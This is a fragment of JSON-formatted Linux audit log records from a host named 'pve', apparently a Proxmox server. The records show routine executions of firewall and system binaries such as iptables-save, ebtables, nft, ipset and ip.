{"@timestamp":1781965155148,"@rawstring":"node=pve type=PATH msg=audit(1781965155.148:64400): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965155141,"@rawstring":"node=pve type=PATH msg=audit(1781965155.141:64399): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965155141,"@rawstring":"node=pve type=PATH msg=audit(1781965155.141:64399): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965155135,"@rawstring":"node=pve type=PATH msg=audit(1781965155.135:64398): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965155135,"@rawstring":"node=pve type=PATH msg=audit(1781965155.135:64398): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965155132,"@rawstring":"node=pve type=PATH msg=audit(1781965155.132:64397): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965155132,"@rawstring":"node=pve type=PATH msg=audit(1781965155.132:64397): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965155131,"@rawstring":"node=pve type=PATH msg=audit(1781965155.131:64396): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965155131,"@rawstring":"node=pve type=PATH msg=audit(1781965155.131:64396): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965155131,"@rawstring":"node=pve type=PATH msg=audit(1781965155.131:64395): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965155127,"@rawstring":"node=pve type=PATH msg=audit(1781965155.127:64394): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965155127,"@rawstring":"node=pve type=PATH msg=audit(1781965155.127:64394): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965155127,"@rawstring":"node=pve type=PATH msg=audit(1781965155.127:64394): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965155120,"@rawstring":"node=pve type=PATH msg=audit(1781965155.120:64393): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965155120,"@rawstring":"node=pve type=PATH msg=audit(1781965155.120:64393): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965155113,"@rawstring":"node=pve type=PATH msg=audit(1781965155.113:64392): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965155113,"@rawstring":"node=pve type=PATH msg=audit(1781965155.113:64392): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965155106,"@rawstring":"node=pve type=PATH msg=audit(1781965155.106:64391): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965155106,"@rawstring":"node=pve type=PATH msg=audit(1781965155.106:64391): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965155098,"@rawstring":"node=pve type=PATH msg=audit(1781965155.098:64390): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965155098,"@rawstring":"node=pve type=PATH msg=audit(1781965155.098:64390): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965155090,"@rawstring":"node=pve type=PATH msg=audit(1781965155.090:64389): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965155090,"@rawstring":"node=pve type=PATH msg=audit(1781965155.090:64389): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965154081,"@rawstring":"node=pve type=PATH msg=audit(1781965154.081:64388): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965154081,"@rawstring":"node=pve type=PATH msg=audit(1781965154.081:64388): item=0 name=\"/sbin/lvs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965154056,"@rawstring":"node=pve type=PATH msg=audit(1781965154.056:64387): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965154056,"@rawstring":"node=pve type=PATH msg=audit(1781965154.056:64387): item=0 name=\"/sbin/vgs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965151989,"@rawstring":"node=pve type=PATH msg=audit(1781965151.989:64386): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965151989,"@rawstring":"node=pve type=PATH msg=audit(1781965151.989:64386): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965151989,"@rawstring":"node=pve type=PATH msg=audit(1781965151.989:64385): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965151989,"@rawstring":"node=pve type=PATH msg=audit(1781965151.989:64384): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965151979,"@rawstring":"node=pve type=PATH msg=audit(1781965151.979:64383): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965151979,"@rawstring":"node=pve type=PATH msg=audit(1781965151.979:64383): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965151979,"@rawstring":"node=pve type=PATH msg=audit(1781965151.979:64382): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965151979,"@rawstring":"node=pve type=PATH msg=audit(1781965151.979:64381): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965146967,"@rawstring":"node=pve type=PATH msg=audit(1781965146.967:64380): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965146967,"@rawstring":"node=pve type=PATH msg=audit(1781965146.967:64380): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965146967,"@rawstring":"node=pve type=PATH msg=audit(1781965146.967:64379): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965146967,"@rawstring":"node=pve type=PATH msg=audit(1781965146.967:64378): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965146957,"@rawstring":"node=pve type=PATH msg=audit(1781965146.957:64377): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965146957,"@rawstring":"node=pve type=PATH msg=audit(1781965146.957:64377): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965146957,"@rawstring":"node=pve type=PATH msg=audit(1781965146.957:64376): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965146957,"@rawstring":"node=pve type=PATH msg=audit(1781965146.957:64375): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965146079,"@rawstring":"node=pve type=PATH msg=audit(1781965146.079:64374): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965146079,"@rawstring":"node=pve type=PATH msg=audit(1781965146.079:64374): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965146073,"@rawstring":"node=pve type=PATH msg=audit(1781965146.073:64373): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965146073,"@rawstring":"node=pve type=PATH msg=audit(1781965146.073:64373): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965146073,"@rawstring":"node=pve type=PATH msg=audit(1781965146.073:64372): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965146073,"@rawstring":"node=pve type=PATH msg=audit(1781965146.073:64372): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965146073,"@rawstring":"node=pve type=PATH msg=audit(1781965146.073:64371): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965146069,"@rawstring":"node=pve type=PATH msg=audit(1781965146.069:64370): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965146069,"@rawstring":"node=pve type=PATH msg=audit(1781965146.069:64370): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965146069,"@rawstring":"node=pve type=PATH msg=audit(1781965146.069:64370): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965146055,"@rawstring":"node=pve type=PATH msg=audit(1781965146.055:64369): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965146055,"@rawstring":"node=pve type=PATH msg=audit(1781965146.055:64369): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965146043,"@rawstring":"node=pve type=PATH msg=audit(1781965146.043:64368): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965146043,"@rawstring":"node=pve type=PATH msg=audit(1781965146.043:64368): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965146036,"@rawstring":"node=pve type=PATH msg=audit(1781965146.036:64367): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965146036,"@rawstring":"node=pve type=PATH msg=audit(1781965146.036:64367): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965146027,"@rawstring":"node=pve type=PATH msg=audit(1781965146.027:64366): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965146027,"@rawstring":"node=pve type=PATH msg=audit(1781965146.027:64366): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965146017,"@rawstring":"node=pve type=PATH msg=audit(1781965146.017:64364): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965146017,"@rawstring":"node=pve type=PATH msg=audit(1781965146.017:64364): item=0 name=\"/sbin/ebtables-restore\" inode=274520 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965146009,"@rawstring":"node=pve type=PATH msg=audit(1781965146.009:64363): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965146009,"@rawstring":"node=pve type=PATH msg=audit(1781965146.009:64363): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965146005,"@rawstring":"node=pve type=PATH msg=audit(1781965146.005:64362): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965146005,"@rawstring":"node=pve type=PATH msg=audit(1781965146.005:64362): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965145999,"@rawstring":"node=pve type=PATH msg=audit(1781965145.999:64361): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965145999,"@rawstring":"node=pve type=PATH msg=audit(1781965145.999:64361): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965145994,"@rawstring":"node=pve type=PATH msg=audit(1781965145.994:64360): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965145994,"@rawstring":"node=pve type=PATH msg=audit(1781965145.994:64360): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965145984,"@rawstring":"node=pve type=PATH msg=audit(1781965145.984:64359): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965145984,"@rawstring":"node=pve type=PATH msg=audit(1781965145.984:64359): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965145975,"@rawstring":"node=pve type=PATH msg=audit(1781965145.975:64358): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965145975,"@rawstring":"node=pve type=PATH msg=audit(1781965145.975:64358): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965145957,"@rawstring":"node=pve type=PATH msg=audit(1781965145.957:64357): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965145957,"@rawstring":"node=pve type=PATH msg=audit(1781965145.957:64357): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965145954,"@rawstring":"node=pve type=PATH msg=audit(1781965145.954:64356): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965145954,"@rawstring":"node=pve type=PATH msg=audit(1781965145.954:64356): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965145948,"@rawstring":"node=pve type=PATH msg=audit(1781965145.948:64355): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965145948,"@rawstring":"node=pve type=PATH msg=audit(1781965145.948:64355): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965145939,"@rawstring":"node=pve type=PATH msg=audit(1781965145.939:64354): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965145939,"@rawstring":"node=pve type=PATH msg=audit(1781965145.939:64354): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965145939,"@rawstring":"node=pve type=PATH msg=audit(1781965145.939:64353): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965145935,"@rawstring":"node=pve type=PATH msg=audit(1781965145.935:64352): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965145935,"@rawstring":"node=pve type=PATH msg=audit(1781965145.935:64352): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965145935,"@rawstring":"node=pve type=PATH msg=audit(1781965145.935:64352): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965145925,"@rawstring":"node=pve type=PATH msg=audit(1781965145.925:64351): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965145925,"@rawstring":"node=pve type=PATH msg=audit(1781965145.925:64351): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965145914,"@rawstring":"node=pve type=PATH msg=audit(1781965145.914:64350): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965145914,"@rawstring":"node=pve type=PATH msg=audit(1781965145.914:64350): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965145910,"@rawstring":"node=pve type=PATH msg=audit(1781965145.910:64349): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965145910,"@rawstring":"node=pve type=PATH msg=audit(1781965145.910:64349): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965145894,"@rawstring":"node=pve type=PATH msg=audit(1781965145.894:64348): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965145894,"@rawstring":"node=pve type=PATH msg=audit(1781965145.894:64348): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 